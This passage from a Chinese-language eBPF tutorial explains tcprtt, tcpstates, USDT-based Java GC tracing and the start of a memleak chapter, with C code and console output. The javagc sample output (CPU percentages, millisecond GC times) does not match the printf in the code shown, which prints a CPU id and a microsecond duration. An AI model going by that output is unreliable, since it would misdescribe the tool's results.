__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u64);
__type(value, struct hist);
} hists SEC(&quot;.maps&quot;);
static struct hist zero;
SEC(&quot;fentry/tcp_rcv_established&quot;)
int BPF_PROG(tcp_rcv, struct sock *sk)
{
const struct inet_sock *inet = (struct inet_sock *)(sk);
struct tcp_sock *ts;
struct hist *histp;
u64 key, slot;
u32 srtt;
if (targ_sport &amp;&amp; targ_sport != inet-&gt;inet_sport)
return 0;
if (targ_dport &amp;&amp; targ_dport != sk-&gt;__sk_common.skc_dport)
return 0;
if (targ_saddr &amp;&amp; targ_saddr != inet-&gt;inet_saddr)
return 0;
if (targ_daddr &amp;&amp; targ_daddr != sk-&gt;__sk_common.skc_daddr)
return 0;
if (targ_laddr_hist)
key = inet-&gt;inet_saddr;
else if (targ_raddr_hist)
key = inet-&gt;sk.__sk_common.skc_daddr;
else
key = 0;
histp = bpf_map_lookup_or_try_init(&amp;hists, &amp;key, &amp;zero);
if (!histp)
return 0;
ts = (struct tcp_sock *)(sk);
srtt = BPF_CORE_READ(ts, srtt_us) &gt;&gt; 3;
if (targ_ms)
srtt /= 1000U;
slot = log2l(srtt);
if (slot &gt;= MAX_SLOTS)
slot = MAX_SLOTS - 1;
__sync_fetch_and_add(&amp;histp-&gt;slots[slot], 1);
if (targ_show_ext) {
__sync_fetch_and_add(&amp;histp-&gt;latency, srtt);
__sync_fetch_and_add(&amp;histp-&gt;cnt, 1);
}
return 0;
}
</code></pre>
<p>首先,我们定义了一个 hash 类型的 eBPF map名为<code>hists</code>,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个<code>hist</code>结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。</p>
<p>接着,我们定义了一个 eBPF 程序,名为<code>tcp_rcv</code>,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key源 IP 或者目标 IP 或者 0然后在<code>hists</code> map 中查找或者初始化对应的 histogram。</p>
<p>接下来,我们读取 TCP 连接的<code>srtt_us</code>字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。</p>
<p>如果设置了<code>show_ext</code>参数,我们还会将 RTT 值和计数器累加到 histogram 的<code>latency</code><code>cnt</code>字段中。</p>
<p>通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。</p>
<p>总结起来,<code>tcprtt</code> eBPF 程序的主要逻辑包括以下几个步骤:</p>
<ol>
<li>根据过滤条件对 TCP 连接进行过滤。</li>
<li><code>hists</code> map 中查找或者初始化对应的 histogram。</li>
<li>读取 TCP 连接的<code>srtt_us</code>字段,并将其转换为对数形式,存储到 histogram 中。</li>
<li>如果设置了<code>show_ext</code>参数,将 RTT 值和计数器累加到 histogram 的<code>latency</code><code>cnt</code>字段中。</li>
</ol>
<p>tcprtt 挂载到了内核态的 tcp_rcv_established 函数上:</p>
<pre><code class="language-c">void tcp_rcv_established(struct sock *sk, struct sk_buff *skb);
</code></pre>
<p>这个函数是在内核中处理TCP接收数据的主要函数主要在TCP连接处于<code>ESTABLISHED</code>状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用:</p>
<ul>
<li>我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。</li>
<li>收到了乱序的数据包。</li>
<li>期待接收紧急数据。</li>
<li>没有剩余的缓冲区空间。</li>
<li>接收到了意外的TCP标志/窗口值/头部长度通过检查TCP头部与预设标志进行检测</li>
<li>数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。</li>
<li>接收到了意外的TCP选项。</li>
</ul>
<p>当这些条件不满足时它会进入一个标准的接收处理过程这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证剩下的情况则需要内联检查。当一切都正常时快速处理过程会在<code>tcp_data_queue</code>函数中被开启。</p>
<h2 id="编译运行-3"><a class="header" href="#编译运行-3">编译运行</a></h2>
<p>对于 tcpstates可以通过以下命令编译和运行 libbpf 应用:</p>
<pre><code class="language-console">$ make
...
BPF .output/tcpstates.bpf.o
GEN-SKEL .output/tcpstates.skel.h
CC .output/tcpstates.o
BINARY tcpstates
$ sudo ./tcpstates
SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -&gt; NEWSTATE MS
ffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -&gt; SYN_SENT 0.000
ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -&gt; ESTABLISHED 225.794
ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -&gt; CLOSE_WAIT 901.454
ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -&gt; LAST_ACK 0.793
ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -&gt; LAST_ACK 0.086
ffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -&gt; CLOSE 0.193
ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -&gt; LISTEN 0.000
ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -&gt; CLOSE 1.763
ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -&gt; FIN_WAIT1 0.000
</code></pre>
<p>对于 tcprtt我们可以使用 eunomia-bpf 编译运行这个例子:</p>
<p>Compile:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或者</p>
<pre><code class="language-console">$ ecc tcprtt.bpf.c tcprtt.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
</code></pre>
<p>运行:</p>
<pre><code class="language-console">$ sudo ecli run package.json -h
A simple eBPF program
Usage: package.json [OPTIONS]
Options:
--verbose Whether to show libbpf debug information
--targ_laddr_hist Set value of `bool` variable targ_laddr_hist
--targ_raddr_hist Set value of `bool` variable targ_raddr_hist
--targ_show_ext Set value of `bool` variable targ_show_ext
--targ_sport &lt;targ_sport&gt; Set value of `__u16` variable targ_sport
--targ_dport &lt;targ_dport&gt; Set value of `__u16` variable targ_dport
--targ_saddr &lt;targ_saddr&gt; Set value of `__u32` variable targ_saddr
--targ_daddr &lt;targ_daddr&gt; Set value of `__u32` variable targ_daddr
--targ_ms Set value of `bool` variable targ_ms
-h, --help Print help
-V, --version Print version
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
$ sudo ecli run package.json
key = 0
latency = 0
cnt = 0
(unit) : count distribution
0 -&gt; 1 : 0 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 0 | |
8 -&gt; 15 : 0 | |
16 -&gt; 31 : 0 | |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 0 | |
128 -&gt; 255 : 0 | |
256 -&gt; 511 : 0 | |
512 -&gt; 1023 : 4 |******************** |
1024 -&gt; 2047 : 1 |***** |
2048 -&gt; 4095 : 0 | |
4096 -&gt; 8191 : 8 |****************************************|
key = 0
latency = 0
cnt = 0
(unit) : count distribution
0 -&gt; 1 : 0 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 0 | |
8 -&gt; 15 : 0 | |
16 -&gt; 31 : 0 | |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 0 | |
128 -&gt; 255 : 0 | |
256 -&gt; 511 : 0 | |
512 -&gt; 1023 : 11 |*************************** |
1024 -&gt; 2047 : 1 |** |
2048 -&gt; 4095 : 0 | |
4096 -&gt; 8191 : 16 |****************************************|
8192 -&gt; 16383 : 4 |********** |
</code></pre>
<p>完整源代码:</p>
<ul>
<li><a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates</a></li>
</ul>
<p>参考资料:</p>
<ul>
<li><a href="https://github.com/iovisor/bcc/blob/master/tools/tcpstates_example.txt">tcpstates</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/tools/tcprtt.py">tcprtt</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpstates.bpf.c">libbpf-tools/tcpstates</a></li>
</ul>
<h2 id="总结-12"><a class="header" href="#总结-12">总结</a></h2>
<p>通过本篇 eBPF 入门实践教程我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程十五使用-usdt-捕获用户态-java-gc-事件耗时"><a class="header" href="#ebpf-入门实践教程十五使用-usdt-捕获用户态-java-gc-事件耗时">eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时</a></h1>
<p>eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能使其在网络和系统性能分析方面具有广泛的应用。此外eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。</p>
<p>在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。</p>
<h2 id="usdt-介绍"><a class="header" href="#usdt-介绍">USDT 介绍</a></h2>
<p>USDT 是一种在应用程序中插入静态跟踪点的机制,它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活从而在不重启应用程序或更改程序代码的情况下获取程序的内部状态和性能指标。USDT 在很多开源软件,如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。</p>
<h3 id="用户层面的追踪机制用户级动态跟踪和-usdt"><a class="header" href="#用户层面的追踪机制用户级动态跟踪和-usdt">用户层面的追踪机制:用户级动态跟踪和 USDT</a></h3>
<p>在用户层面进行动态跟踪即用户级动态跟踪User-Level Dynamic Tracing允许我们对任何用户级别的代码进行插桩。比如我们可以通过在 MySQL 服务器的 <code>dispatch_command()</code> 函数上进行插桩,来跟踪服务器的查询请求:</p>
<pre><code class="language-bash"># ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'
Tracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end.
mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=&quot;show tables&quot;
mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=&quot;SELECT * FROM numbers&quot;
[...]
</code></pre>
<p>这里我们使用了 <code>uprobe</code> 工具,它利用了 Linux 的内置功能ftrace跟踪器和 uprobes用户级动态跟踪需要较新的 Linux 版本,例如 4.0 左右)。其他的跟踪器,如 perf_events 和 SystemTap也可以实现此功能。</p>
<p>许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量:</p>
<pre><code class="language-bash"># ./uprobe -l /opt/bin/mysqld | more
account_hash_get_key
add_collation
add_compiled_collation
add_plugin_noargs
adjust_time_range
[...]
# ./uprobe -l /opt/bin/mysqld | wc -l
21809
</code></pre>
<p>这有 21,000 个函数。我们也可以跟踪库函数,甚至是单个的指令偏移。</p>
<p>用户级动态跟踪的能力是非常强大的,它可以解决无数的问题。然而,使用它也有一些困难:需要确定需要跟踪的代码,处理函数参数,以及应对代码的更改。</p>
<p>用户级静态定义跟踪User-level Statically Defined Tracing, USDT则可以在某种程度上解决这些问题。USDT 探针(或者称为用户级 &quot;marker&quot;)是开发者在代码的关键位置插入的跟踪宏,提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。</p>
<p>使用 USDT我们可以简单地跟踪一个名为 <code>mysql:query__start</code> 的探针,而不是去跟踪那个名为 <code>_Z16dispatch_command19enum_server_commandP3THDPcj</code> 的 C++ 符号,也就是 <code>dispatch_command()</code> 函数。当然,我们仍然可以在需要的时候去跟踪 <code>dispatch_command()</code> 以及</p>
<p>其他 21,000 个 mysqld 函数,但只有当 USDT 探针无法解决问题的时候我们才需要这么做。</p>
<p>在 Linux 中的 USDT无论是哪种形式的静态跟踪点其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注,这使得许多常见的应用程序,包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。</p>
<p>你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序,或者可能需要重新编译(通常是 --enable-dtrace。你可以使用 <code>readelf</code> 来进行检查,例如对于 Node.js</p>
<pre><code class="language-bash"># readelf -n node
[...]
Notes at offset 0x00c43058 with length 0x00000494:
Owner Data size Description
stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors)
Provider: node
Name: gc__start
Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028
Arguments: 4@%esi 4@%edx 8@%rdi
[...]
stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors)
Provider: node
Name: http__client__request
Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024
Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)
[...]
</code></pre>
<p>这就是使用 --enable-dtrace 重新编译的 node以及安装了提供 &quot;dtrace&quot; 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针node:gc__start开始进行垃圾回收和 node:http__client__request。</p>
<p>在这一点上,你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而,内置的 Linux 跟踪器,比如 ftrace 和 perf_events目前还无法做到这一点尽管 perf_events 的支持正在开发中)。</p>
<h2 id="java-gc-介绍"><a class="header" href="#java-gc-介绍">Java GC 介绍</a></h2>
<p>Java 作为一种高级编程语言其自动垃圾回收GC是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间从而减轻程序员在内存管理方面的负担。然而GC 过程可能会引发应用程序的停顿,对程序的性能和响应时间产生影响。因此,对 Java GC 事件进行监控和分析,对于理解和优化 Java 应用的性能是非常重要的。</p>
<p>在接下来的教程中,我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时,希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。</p>
<h2 id="ebpf-实现机制"><a class="header" href="#ebpf-实现机制">eBPF 实现机制</a></h2>
<p>Java GC 的 eBPF 程序分为内核态和用户态两部分,我们会分别介绍这两部分的实现机制。</p>
<h3 id="内核态程序"><a class="header" href="#内核态程序">内核态程序</a></h3>
<pre><code class="language-c">/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
/* Copyright (c) 2022 Chen Tao */
#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/usdt.bpf.h&gt;
#include &quot;javagc.h&quot;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 100);
__type(key, uint32_t);
__type(value, struct data_t);
} data_map SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__type(key, int);
__type(value, int);
} perf_map SEC(&quot;.maps&quot;);
__u32 time;
static int gc_start(struct pt_regs *ctx)
{
struct data_t data = {};
data.cpu = bpf_get_smp_processor_id();
data.pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
data.ts = bpf_ktime_get_ns();
bpf_map_update_elem(&amp;data_map, &amp;data.pid, &amp;data, 0);
return 0;
}
static int gc_end(struct pt_regs *ctx)
{
struct data_t data = {};
struct data_t *p;
__u32 val;
data.cpu = bpf_get_smp_processor_id();
data.pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
data.ts = bpf_ktime_get_ns();
p = bpf_map_lookup_elem(&amp;data_map, &amp;data.pid);
if (!p)
return 0;
val = data.ts - p-&gt;ts;
if (val &gt; time) {
data.ts = val;
bpf_perf_event_output(ctx, &amp;perf_map, BPF_F_CURRENT_CPU, &amp;data, sizeof(data));
}
bpf_map_delete_elem(&amp;data_map, &amp;data.pid);
return 0;
}
SEC(&quot;usdt&quot;)
int handle_gc_start(struct pt_regs *ctx)
{
return gc_start(ctx);
}
SEC(&quot;usdt&quot;)
int handle_gc_end(struct pt_regs *ctx)
{
return gc_end(ctx);
}
SEC(&quot;usdt&quot;)
int handle_mem_pool_gc_start(struct pt_regs *ctx)
{
return gc_start(ctx);
}
SEC(&quot;usdt&quot;)
int handle_mem_pool_gc_end(struct pt_regs *ctx)
{
return gc_end(ctx);
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
</code></pre>
<p>首先我们定义了两个映射map</p>
<ul>
<li><code>data_map</code>:这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。<code>data_t</code> 结构体包含进程 ID、CPU ID 和时间戳。</li>
<li><code>perf_map</code>:这是一个 perf event array用于将数据发送回用户态程序。</li>
</ul>
<p>然后,我们有四个处理函数:<code>gc_start</code><code>gc_end</code> 和两个 USDT 处理函数 <code>handle_mem_pool_gc_start</code><code>handle_mem_pool_gc_end</code>。这些函数都用 BPF 的 <code>SEC(&quot;usdt&quot;)</code> 宏注解,以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。</p>
<p><code>gc_start</code> 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳,然后将这些数据存入 <code>data_map</code></p>
<p><code>gc_end</code> 函数在垃圾收集结束时被调用。它执行与 <code>gc_start</code> 类似的操作,但是它还从 <code>data_map</code> 中检索开始时间,并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值(变量 <code>time</code>),那么它将数据发送回用户态程序。</p>
<p><code>handle_gc_start</code><code>handle_gc_end</code> 是针对垃圾收集开始和结束事件的处理函数,它们分别调用了 <code>gc_start</code><code>gc_end</code></p>
<p><code>handle_mem_pool_gc_start</code><code>handle_mem_pool_gc_end</code> 是针对内存池的垃圾收集开始和结束事件的处理函数,它们也分别调用了 <code>gc_start</code><code>gc_end</code></p>
<p>最后,我们有一个 <code>LICENSE</code> 数组,声明了该 BPF 程序的许可证,这是加载 BPF 程序所必需的。</p>
<h3 id="用户态程序"><a class="header" href="#用户态程序">用户态程序</a></h3>
<p>用户态程序的主要目标是加载和运行eBPF程序以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码,只展示了与 USDT 相关的部分。</p>
<p>第一个函数 <code>get_jvmso_path</code> 被用来获取运行的Java虚拟机JVM<code>libjvm.so</code> 库的路径。首先,它打开了 <code>/proc/&lt;pid&gt;/maps</code> 文件,该文件包含了进程地址空间的内存映射信息。然后,它在文件中搜索包含 <code>libjvm.so</code> 的行,然后复制该行的路径到提供的参数中。</p>
<pre><code class="language-c">static int get_jvmso_path(char *path)
{
char mode[16], line[128], buf[64];
size_t seg_start, seg_end, seg_off;
FILE *f;
int i = 0;
sprintf(buf, &quot;/proc/%d/maps&quot;, env.pid);
f = fopen(buf, &quot;r&quot;);
if (!f)
return -1;
while (fscanf(f, &quot;%zx-%zx %s %zx %*s %*d%[^\n]\n&quot;,
&amp;seg_start, &amp;seg_end, mode, &amp;seg_off, line) == 5) {
i = 0;
while (isblank(line[i]))
i++;
if (strstr(line + i, &quot;libjvm.so&quot;)) {
break;
}
}
strcpy(path, line + i);
fclose(f);
return 0;
}
</code></pre>
<p>接下来,我们看到的是将 eBPF 程序(函数 <code>handle_gc_start</code><code>handle_gc_end</code>附加到Java进程的相关USDT探针上。每个程序都通过调用 <code>bpf_program__attach_usdt</code> 函数来实现这一点该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功<code>bpf_program__attach_usdt</code> 将返回一个链接对象该对象将存储在skeleton的链接成员中。如果挂载失败程序将打印错误消息并进行清理。</p>
<pre><code class="language-c"> skel-&gt;links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel-&gt;progs.handle_gc_start, env.pid,
binary_path, &quot;hotspot&quot;, &quot;mem__pool__gc__begin&quot;, NULL);
if (!skel-&gt;links.handle_mem_pool_gc_start) {
err = errno;
fprintf(stderr, &quot;attach usdt mem__pool__gc__begin failed: %s\n&quot;, strerror(err));
goto cleanup;
}
skel-&gt;links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel-&gt;progs.handle_gc_end, env.pid,
binary_path, &quot;hotspot&quot;, &quot;mem__pool__gc__end&quot;, NULL);
if (!skel-&gt;links.handle_mem_pool_gc_end) {
err = errno;
fprintf(stderr, &quot;attach usdt mem__pool__gc__end failed: %s\n&quot;, strerror(err));
goto cleanup;
}
skel-&gt;links.handle_gc_start = bpf_program__attach_usdt(skel-&gt;progs.handle_gc_start, env.pid,
binary_path, &quot;hotspot&quot;, &quot;gc__begin&quot;, NULL);
if (!skel-&gt;links.handle_gc_start) {
err = errno;
fprintf(stderr, &quot;attach usdt gc__begin failed: %s\n&quot;, strerror(err));
goto cleanup;
}
skel-&gt;links.handle_gc_end = bpf_program__attach_usdt(skel-&gt;progs.handle_gc_end, env.pid,
binary_path, &quot;hotspot&quot;, &quot;gc__end&quot;, NULL);
if (!skel-&gt;links.handle_gc_end) {
err = errno;
fprintf(stderr, &quot;attach usdt gc__end failed: %s\n&quot;, strerror(err));
goto cleanup;
}
</code></pre>
<p>最后一个函数 <code>handle_event</code> 是一个回调函数用于处理从perf event array收到的数据。这个函数会被 perf event array 触发,并在每次接收到新的事件时调用。函数首先将数据转换为 <code>data_t</code> 结构体然后将当前时间格式化为字符串并打印出事件的时间戳、CPU ID、进程 ID以及垃圾回收的持续时间。</p>
<pre><code class="language-c">static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)
{
struct data_t *e = (struct data_t *)data;
struct tm *tm = NULL;
char ts[16];
time_t t;
time(&amp;t);
tm = localtime(&amp;t);
strftime(ts, sizeof(ts), &quot;%H:%M:%S&quot;, tm);
printf(&quot;%-8s %-7d %-7d %-7lld\n&quot;, ts, e-&gt;cpu, e-&gt;pid, e-&gt;ts/1000);
}
</code></pre>
<h2 id="安装依赖-1"><a class="header" href="#安装依赖-1">安装依赖</a></h2>
<p>构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。</p>
<p>在 Ubuntu/Debian 上,你需要执行以下命令:</p>
<pre><code class="language-shell">sudo apt install clang libelf1 libelf-dev zlib1g-dev
</code></pre>
<p>在 CentOS/Fedora 上,你需要执行以下命令:</p>
<pre><code class="language-shell">sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel
</code></pre>
<h2 id="编译运行-4"><a class="header" href="#编译运行-4">编译运行</a></h2>
<p>在对应的目录中,运行 Make 即可编译运行上述代码:</p>
<pre><code class="language-console">$ make
$ sudo ./javagc -p 12345
Tracing javagc time... Hit Ctrl-C to end.
TIME CPU PID GC TIME
10:00:01 10% 12345 50ms
10:00:02 12% 12345 55ms
10:00:03 9% 12345 47ms
10:00:04 13% 12345 52ms
10:00:05 11% 12345 50ms
</code></pre>
<p>完整源代码:</p>
<ul>
<li><a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc</a></li>
</ul>
<p>参考资料:</p>
<ul>
<li><a href="https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html">https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c">https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c</a></li>
</ul>
<h2 id="总结-13"><a class="header" href="#总结-13">总结</a></h2>
<p>通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点,以及如何编写 eBPF 程序来捕获这些跟踪点的信息,从而更深入地理解和优化 Java GC 的行为和性能。</p>
<p>此外,我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧,这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程十六编写-ebpf-程序-memleak-监控内存泄漏"><a class="header" href="#ebpf-入门实践教程十六编写-ebpf-程序-memleak-监控内存泄漏">eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏</a></h1>
<p>eBPF扩展的伯克利数据包过滤器是一项强大的网络和性能分析工具被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。</p>
<p>在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。</p>
<h2 id="背景及其重要性"><a class="header" href="#背景及其重要性">背景及其重要性</a></h2>
<p>内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。</p>
<p>内存泄漏有多种可能的原因。这可能是由于配置错误导致的例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的如在程序执行过程中忘记释放不再需要的内存。此外如果一个应用程序的内存使用量过大那么系统性能可能会因页面交换swapping而大幅下降甚至可能导致应用程序被系统强制终止Linux 的 OOM killer</p>
<h3 id="调试内存泄漏的挑战"><a class="header" href="#调试内存泄漏的挑战">调试内存泄漏的挑战</a></h3>
<p>调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc它相对较快但仍可能使应用程序运行速度降低五倍以上。此外还有一些工具如 gdb可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而这些工具通常在获取核心转储时需要暂停应用程序或在应用程序终止后才能调用 free() 函数。</p>
<h2 id="ebpf-的作用"><a class="header" href="#ebpf-的作用">eBPF 的作用</a></h2>
<p>在这种背景下eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF我们可以跟踪内存分配和释放的请求并收集每次分配的调用堆栈。然后我们可以分</p>
<p>析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。</p>
<p><code>memleak</code> eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,<code>memleak</code> 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令:</p>
<pre><code class="language-console"># ./memleak -p $(pidof allocs)
Attaching to pid 5193, Ctrl+C to quit.
[11:16:33] Top 2 stacks with outstanding allocations:
80 bytes in 5 allocations from stack
main+0x6d [allocs]
__libc_start_main+0xf0 [libc-2.21.so]
[11:16:34] Top 2 stacks with outstanding allocations:
160 bytes in 10 allocations from stack
main+0x6d [allocs]
__libc_start_main+0xf0 [libc-2.21.so]
</code></pre>
<p>运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。</p>
<p>随着时间的推移,很显然,<code>allocs</code> 进程的 <code>main</code> 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。</p>
<h2 id="memleak-的实现原理"><a class="header" href="#memleak-的实现原理">memleak 的实现原理</a></h2>
